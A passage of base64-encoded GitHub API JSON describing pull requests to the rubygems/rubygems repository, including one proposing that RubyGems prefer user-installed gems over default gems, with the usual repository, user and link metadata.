iOnRydWUsImhhc19wcm9qZWN0cyI6ZmFsc2UsImhhc19kb3dubG9hZHMiOnRydWUsImhhc193aWtpIjpmYWxzZSwiaGFzX3BhZ2VzIjpmYWxzZSwiZm9ya3NfY291bnQiOjk1OSwibWlycm9yX3VybCI6bnVsbCwiYXJjaGl2ZWQiOmZhbHNlLCJvcGVuX2lzc3Vlc19jb3VudCI6MTYyLCJsaWNlbnNlIjp7ImtleSI6Im90aGVyIiwibmFtZSI6Ik90aGVyIiwic3BkeF9pZCI6bnVsbCwidXJsIjpudWxsfSwiZm9ya3MiOjk1OSwib3Blbl9pc3N1ZXMiOjE2Miwid2F0Y2hlcnMiOjE5MDYsImRlZmF1bHRfYnJhbmNoIjoibWFzdGVyIn19LCJfbGlua3MiOnsic2VsZiI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8yMTE5In0sImh0bWwiOnsiaHJlZiI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzIxMTkifSwiaXNzdWUiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxMTkifSwiY29tbWVudHMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxMTkvY29tbWVudHMifSwicmV2aWV3X2NvbW1lbnRzIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzIxMTkvY29tbWVudHMifSwicmV2aWV3X2NvbW1lbnQiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvY29tbWVudHN7L251bWJlcn0ifSwiY29tbWl0cyI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8yMTE5L2NvbW1pdHMifSwic3RhdHVzZXMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3RhdHVzZXMvNDM3MmZkMmJkYjVhYmFhZDdlMDFhZDE5M2ViYWZlODlmOTU5Y2Y1OSJ9fSwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiQ09OVFJJQlVUT1IifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMjExMiIsImlkIjoxNTgyNjcxNTUsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMjExMiIsImRpZmZfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMjExMi5kaWZmIiwicGF0Y2hfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMjExMi5wYXRjaCIsImlzc3VlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxMTIiLCJudW1iZXIiOjIxMTIsInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsInRpdGxlIjoiW1NwZWNpZmljYXRpb25dIFByZWZlciB1c2VyLWluc3RhbGxlZCBnZW1zIHRvIGRlZmF1bHQgZ2VtcyIsInVzZXIiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiYm9keSI6IiMgRGVzY3JpcHRpb246XHJcblxyXG5AQmFuemFpTWFuIEkgYmVsaWV2ZSB0aGlzIHdpbGwgZml4IHRoZSBpc3N1ZSB3ZSB3ZXJlIGRpc2N1c3NpbmcgZWFybGllciB0b2RheS5cclxuXHJcblRoaXMgUFIgd2lsbCBtYWtlIFJ1YnlHZW1zLCB3aGVuIHRoZSBzYW1lIGdlbSBpcyBpbnN0YWxsZWQgYm90aCBieSB0aGUgdXNlciBhbmQgYXMgYSBkZWZhdWx0IGdlbSwgcHJlZmVyIHRvIGFjdGl2YXRlIHRoZSB1c2VyLWluc3RhbGxlZCBnZW0uIFRoaXMgaXMgZGVzaXJhYmxlLCBmb3IgZXhhbXBsZSwgd2l0aCB0aGUgZGVmYXVsdCBidW5kbGVyIGdlbSwgYXMgaXQgaGFzIGZld2VyIGV4ZWN1dGFibGVzIHRoYW4gdGhlIHVzZXItaW5zdGFsbGVkIGdlbSAoaS5lLiB0aGUgYGJ1bmRsZXJgIGV4ZWN1dGFibGUpLiIsImNyZWF0ZWRfYXQiOiIyMDE3LTEyLTE0VDA0OjM5OjU2WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTEyLTIyVDAzOjAyOjA5WiIsImNsb3NlZF9hdCI6bnVsbCwibWVyZ2VkX2F0IjpudWxsLCJtZXJnZV9jb21taXRfc2hhIjoiN2FiMjU4Zjg2NTk0ZDhjNWYzMDYyN2EzN2E4MjViMzM2OTE4ZWY4OSIsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJyZXF1ZXN0ZWRfcmV2aWV3ZXJzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21taXRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMjExMi9jb21taXRzIiwicmV2aWV3X2NvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMjExMi9jb21tZW50cyIsInJldmlld19jb21tZW50X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvY29tbWVudHN7L251bWJlcn0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMTEyL2NvbW1lbnRzIiwic3RhdHVzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdGF0dXNlcy9jNDEyYzZjNTk4OGVlOTVkM2Y1MTA1NzE2MzMzZWFlNzUyNDkyMDlhIiwiaGVhZCI6eyJsYWJlbCI6InJ1YnlnZW1zOnNlZy1wcmVmZXItdXNlci1pbnN0YWxsZWQtZ2VtcyIsInJlZiI6InNlZy1wcmVmZXItdXNlci1pbnN0YWxsZWQtZ2VtcyIsInNoYSI6ImM0MTJjNmM1OTg4ZWU5NWQzZjUxMDU3MTYzMzNlYWU3NTI0OTIwOWEiLCJ1c2VyIjp7ImxvZ2luIjoicnVieWdlbXMiLCJpZCI6MjA4NzYxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS8yMDg3NjE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJPcmdhbml6YXRpb24iLCJzaXRlX2FkbWluIjpmYWxzZX0sInJlcG8iOnsiaWQiOjYxNDA3MCwibmFtZSI6InJ1YnlnZW1zIiwiZnVsbF9uYW1lIjoicnVieWdlbXMvcnVieWdlbXMiLCJvd25lciI6eyJsb2dpbiI6InJ1YnlnZW1zIiwiaWQiOjIwODc2MSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMjA4NzYxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2VtcyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiT3JnYW5pemF0aW9uIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwcml2YXRlIjpmYWxzZSwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMiLCJkZXNjcmlwdGlvbiI6IkxpYnJhcnkgcGFja2FnaW5nIGFuZCBkaXN0cmlidXRpb24gZm9yIFJ1YnkuIiwiZm9yayI6ZmFsc2UsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJmb3Jrc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2ZvcmtzIiwia2V5c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2tleXN7L2tleV9pZH0iLCJjb2xsYWJvcmF0b3JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29sbGFib3JhdG9yc3svY29sbGFib3JhdG9yfSIsInRlYW1zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvdGVhbXMiLCJob29rc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2hvb2tzIiwiaXNzdWVfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzL2V2ZW50c3svbnVtYmVyfSIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2V2ZW50cyIsImFzc2lnbmVlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2Fzc2lnbmVlc3svdXNlcn0iLCJicmFuY2hlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2JyYW5jaGVzey9icmFuY2h9IiwidGFnc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3RhZ3MiLCJibG9ic191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9ibG9ic3svc2hhfSIsImdpdF90YWdzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RhZ3N7L3NoYX0iLCJnaXRfcmVmc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9yZWZzey9zaGF9IiwidHJlZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXN7L3NoYX0iLCJzdGF0dXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXR1c2VzL3tzaGF9IiwibGFuZ3VhZ2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFuZ3VhZ2VzIiwic3RhcmdhemVyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXJnYXplcnMiLCJjb250cmlidXRvcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb250cmlidXRvcnMiLCJzdWJzY3JpYmVyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N1YnNjcmliZXJzIiwic3Vic2NyaXB0aW9uX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3Vic2NyaXB0aW9uIiwiY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHN7L3NoYX0iLCJnaXRfY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzey9zaGF9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21tZW50c3svbnVtYmVyfSIsImlzc3VlX2NvbW1lbnRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvY29tbWVudHN7L251bWJlcn0iLCJjb250ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbnRlbnRzL3srcGF0aH0iLCJjb21wYXJlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tcGFyZS97YmFzZX0uLi57aGVhZH0iLCJtZXJnZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9tZXJnZXMiLCJhcmNoaXZlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMve2FyY2hpdmVfZm9ybWF0fXsvcmVmfSIsImRvd25sb2Fkc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2Rvd25sb2FkcyIsImlzc3Vlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlc3svbnVtYmVyfSIsInB1bGxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHN7L251bWJlcn0iLCJtaWxlc3RvbmVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbWlsZXN0b25lc3svbnVtYmVyfSIsIm5vdGlmaWNhdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ub3RpZmljYXRpb25zez9zaW5jZSxhbGwscGFydGljaXBhdGluZ30iLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHN7L25hbWV9IiwicmVsZWFzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9yZWxlYXNlc3svaWR9IiwiZGVwbG95bWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9kZXBsb3ltZW50cyIsImNyZWF0ZWRfYXQiOiIyMDEwLTA0LTE2VDE5OjAyOjQ0WiIsInVwZGF0ZWRfYXQiOiIyMDE4LTAxLTA1VDE5OjM2OjA2WiIsInB1c2hlZF9hdCI6IjIwMTgtMDEtMDVUMDg6MjA6MzVaIiwiZ2l0X3VybCI6ImdpdDovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMuZ2l0Iiwic3NoX3VybCI6ImdpdEBnaXRodWIuY29tOnJ1YnlnZW1zL3J1YnlnZW1zLmdpdCIsImNsb25lX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy5naXQiLCJzdm5fdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zIiwiaG9tZXBhZ2UiOiJodHRwczovL3J1YnlnZW1zLm9yZy8iLCJzaXplIjoxNDI5MCwic3RhcmdhemVyc19jb3VudCI6MTkwNiwid2F0Y2hlcnNfY291bnQiOjE5MDYsImxhbmd1YWdlIjoiUnVieSIsImhhc19pc3N1ZXMiOnRydWUsImhhc19wcm9qZWN0cyI6ZmFsc2UsImhhc19kb3dubG9hZHMiOnRydWUsImhhc193aWtpIjpmYWxzZSwiaGFzX3BhZ2VzIjpmYWxzZSwiZm9ya3NfY291bnQiOjk1OSwibWlycm9yX3VybCI6bnVsbCwiYXJjaGl2ZWQiOmZhbHNlLCJvcGVuX2lzc3Vlc19jb3VudCI6MTYyLCJsaWNlbnNlIjp7ImtleSI6Im90aGVyIiwibmFtZSI6Ik90aGVyIiwic3BkeF9pZCI6bnVsbCwidXJsIjpudWxsfSwiZm9ya3MiOjk1OSwib3Blbl9pc3N1ZXMiOjE2Miwid2F0Y2hlcnMiOjE5MDYsImRlZmF1bHRfYnJhbmNoIjoibWFzdGVyIn19LCJiYXNlIjp7ImxhYmVsIjoicnVieWdlbXM6bWFzdGVyIiwicmVmIjoibWFzdGVyIiwic2hhIjoiZGYxNThjYzA2OWU2NWU0YjQ1NmM2NDBlNjQwZWQ5Yjc5OTNlZTYwOSIsInVzZXIiOnsibG9naW4iOiJydWJ5Z2VtcyIsImlkIjoyMDg3NjEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzIwODc2MT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2VtcyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6Ik9yZ2FuaXphdGlvbiIsInNpdGVfYWRtaW4iOmZhbHNlfSwicmVwbyI6eyJpZCI6NjE0MDcwLCJuYW1lIjoicnVieWdlbXMiLCJmdWxsX25hbWUiOiJydWJ5Z2Vtcy9ydWJ5Z2VtcyIsIm93bmVyIjp7ImxvZ2luIjoicnVieWdlbXMiLCJpZCI6MjA4NzYxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS8yMDg3NjE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJPcmdhbml6YXRpb24iLCJzaXRlX2FkbWluIjpmYWxzZX0sInByaXZhdGUiOmZhbHNlLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImRlc2NyaXB0aW9uIjoiTGlicmFyeSBwYWNrYWdpbmcgYW5kIGRpc3RyaWJ1dGlvbiBmb3IgUnVieS4iLCJmb3JrIjpmYWxzZSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImZvcmtzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZm9ya3MiLCJrZXlzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMva2V5c3sva2V5X2lkfSIsImNvbGxhYm9yYXRvcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb2xsYWJvcmF0b3Jzey9jb2xsYWJvcmF0b3J9IiwidGVhbXNfdXJsIjoiaHR0cHM